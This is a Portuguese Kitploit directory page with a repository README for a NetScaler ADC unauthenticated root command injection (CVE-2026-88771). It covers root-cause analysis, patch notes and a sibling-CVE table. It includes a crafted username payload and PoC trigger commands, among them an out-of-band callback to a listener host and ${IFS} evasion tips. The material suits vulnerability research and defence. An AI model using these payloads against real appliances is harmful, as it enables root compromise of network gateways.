Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-88771-netscaler — Análise de diff de firmware, relatório de causa raiz e PoC funcional para a injeção de comandos não autenticada no NetScaler ADC (CVE-2026-88771) que leva à execução como root. | Kitploit
Ferramentas/GitHubGitHub/craigsblackie/cve-2026-88771-netscaler
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoEngenharia ReversaExploração de Aplicações WebPapers e PesquisaAnálise de Firmware
GitHub

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
craigsblackie/cve-2026-88771-netscaler

cve-2026-88771-netscaler

Análise de diff de firmware, relatório de causa raiz e PoC funcional para a injeção de comandos não autenticada no NetScaler ADC (CVE-2026-88771) que leva à execução como root.

Ver Repositório
111há 1 mêsAinda não revisado

CVE-2026-88771 — injeção de comando pré-autenticação no NetScaler ADC

Execução arbitrária de comandos sem autenticação (como root) no Citrix ADC (NetScaler) 14.1-66.59 e 14.1-72.61. Corrigido em 14.1-73.37 (e 13.1-64.23). CVSS 9.5, afeta implantações padrão, nenhum recurso adicional necessário.

Este repositório contém a análise do diff de firmware, as evidências extraídas da vulnerabilidade e uma prova de conceito funcional.

  • Cadeia de vulnerabilidade, explicada: analysis/CVE-2026-88771_STAGE_BY_STAGE.md
  • Avaliação da causa raiz e matriz de regressão: analysis/CVE-2026-88771_ROOT_CAUSE.md
  • PoC (funcionamento verificado): poc/ — consulte poc/README.md

A vulnerabilidade em um parágrafo

Uma tentativa de login de gerenciamento sem autenticação malsucedida é registrada em /var/log/ns.log com o nome de usuário controlado pelo atacante. O worker de telemetria root habilitado por padrão (admautoregd, entregue no mastools_scripts.tgz externo do firmware) executa periodicamente /netscaler/ns_monuploadd_err.pl -WR. Nas builds vulneráveis, esse branch canaliza as linhas de log correspondentes por meio de um amplo grep | sed | awk e interpola o resultado sem aspas em um comando de shell:

# evidence/rootfs-72.61/netscaler/ns_monuploadd_err.pl:368-377 (14.1-66.59 / 72.61)
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |
tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`;
...
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;

Um nome de usuário criado como pitboss NSPPE-00;id>/tmp/pwned;# unexpectedly died sobrevive ao pipeline como o token de shell NSPPE-00;id>/tmp/pwned;#-unexpectedly, de modo que o sink de backtick executa find ... -name NSPPE-00, depois id>/tmp/pwned (root), e então um comentário #.

A cadeia, estágio por estágio

  1. Entrada não autenticada. O manipulador da API NITRO permite POST não autenticado para /nitro/v1/config/login (evidence/gui-72.61/admin_ui/nitro/nitro.php); o controlador de login do navegador encaminha username/password literalmente (evidence/gui-72.61/admin_ui/php/application/controllers/Login.php).
  2. Sem validação de entrada. O parser de login JSON do nsppe verifica apenas length < 128 para o nome de usuário — nenhuma lista de caracteres permitidos (descompilação em analysis/nsppe_api_login_799b90.c).
  3. Escrita no log. Logins com falha são auditados em /var/log/ns.log como CMD_EXECUTED com o nome de usuário no registro (descompilação do formatador: analysis/nsppe_cmdexecuted_decomp.c).
  4. Consumidor root. O daemon de autorregistro inicia na inicialização (nsstartpe.sh → admautoregd_ctl startup, root), e na sua primeira sondagem mais a cada 24 h executa CHECK_PE_FAILURE_CMD = '/netscaler/ns_monuploadd_err.pl -WR' via subprocess.Popen (evidence/mastools-72.61/scripts/admautoreg/constant.py).
  5. Sink de shell. O ramo -WR de ns_monuploadd_err.pl interpola o token derivado do log sem aspas em um comando de backtick — execução de comando como root, antes de qualquer verificação de existência de arquivo core.

A correção (14.1-73.37)

Ambas as metades foram corrigidas juntas:

  • ns_monuploadd_err.pl substitui o pipeline por uma regex Perl estrita (apenas NSPPE-\d{2} + PID numérico) e invoca find via forma de lista open '-|' (sem shell) — veja evidence/rootfs-73.37/netscaler/ns_monuploadd_err.pl.
  • Todo o chamador admautoregd é removido: CHECK_PE_FAILURE_CMD, _check_disk_pe_failure(), get_pe_failure_info() desapareceram do pacote mastools 73.37 — compare evidence/mastools-72.61/ vs evidence/mastools-73.37/.

O boletim (CTX697096) — CVEs irmãs

CVE-2026-88771 é uma de oito CVEs no boletim coordenado da Citrix. Conforme o boletim e o artigo público do watchTowr, o conjunto e sua disposição são:

CVEDescriçãoCVSS 4.0Explorada em campo
CVE-2026-88771Injeção de comando pré-autenticação (este repositório) — configuração padrão9.5 CríticaSim
CVE-2026-88772Estouro de memória (RCE/DoS) quando DTLS habilitado — padrão para vServers VPN9.5 CríticaSim
CVE-2026-88773Contrabando de requisição HTTP — dependente de configuração9.3 CríticaNão
CVE-2026-88774Dependente de configuração7.0 AltaNão
CVE-2026-88775Estouro de memória — dependente de configuração8.8 AltaNão
CVE-2026-88776Estouro de memória — dependente de configuração8.8 AltaNão
CVE-2026-88777Estouro de memória — dependente de configuração8.8 AltaNão
CVE-2026-88778ISN previsível — corrigido habilitando Enhanced ISN Generation, não apenas pela atualização8.8 AltaNão

Versões corrigidas conforme o boletim (não apenas os pares 14.1 / 13.1 acima):

  • ADC / Gateway 14.1-73.37 e posteriores
  • ADC / Gateway 13.1-64.23 e posteriores (linha 13.1)
  • ADC 14.1-FIPS 14.1-73.37 FIPS e posteriores
  • ADC 13.1-FIPS / 13.1-NDcPP 13.1-37.279 e posteriores

Como executar o PoC

Apenas para testes autorizados. O lado remoto é um único POST HTTPS não autenticado; o comando injetado é executado depois como root, quando o worker de telemetria executa sua verificação de falha de PE a cada 24 h (reiniciar o appliance, ou reiniciar o admautoregd, força isso).

1. Disparar a injeção (sem execução local)

# OOB out-of-band callback to your own listener (--callback or CVE88771_CALLBACK):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --callback https://your-listener.example

# Custom command (no '(', ')', spaces, '?', '&'; use ${IFS} for spaces):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 \
    --cmd 'id>/tmp/cve88771_ef60f0de46d9'

# Repeat the trigger
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --count 3

Espere HTTP 401 — o login falho é exatamente o que grava a linha de auditoria. Em seguida, no appliance (ou aguardando até 24 h) dispare o worker:

reboot
# or: /bin/sh /var/mastools/scripts/admautoreg/admautoregd_ctl restart

Verifique a execução como root: ls -l /tmp/cve88771_ef60f0de46d9 deve mostrar root:wheel.

2. Disparo único armado (host + comando como argumentos)

Aplica as mesmas regras de payload: um comando com espaço literal, (, ), ?, ou & é rejeitado antes do envio (saída 2). Use ${IFS} para espaços.

Baixar ferramenta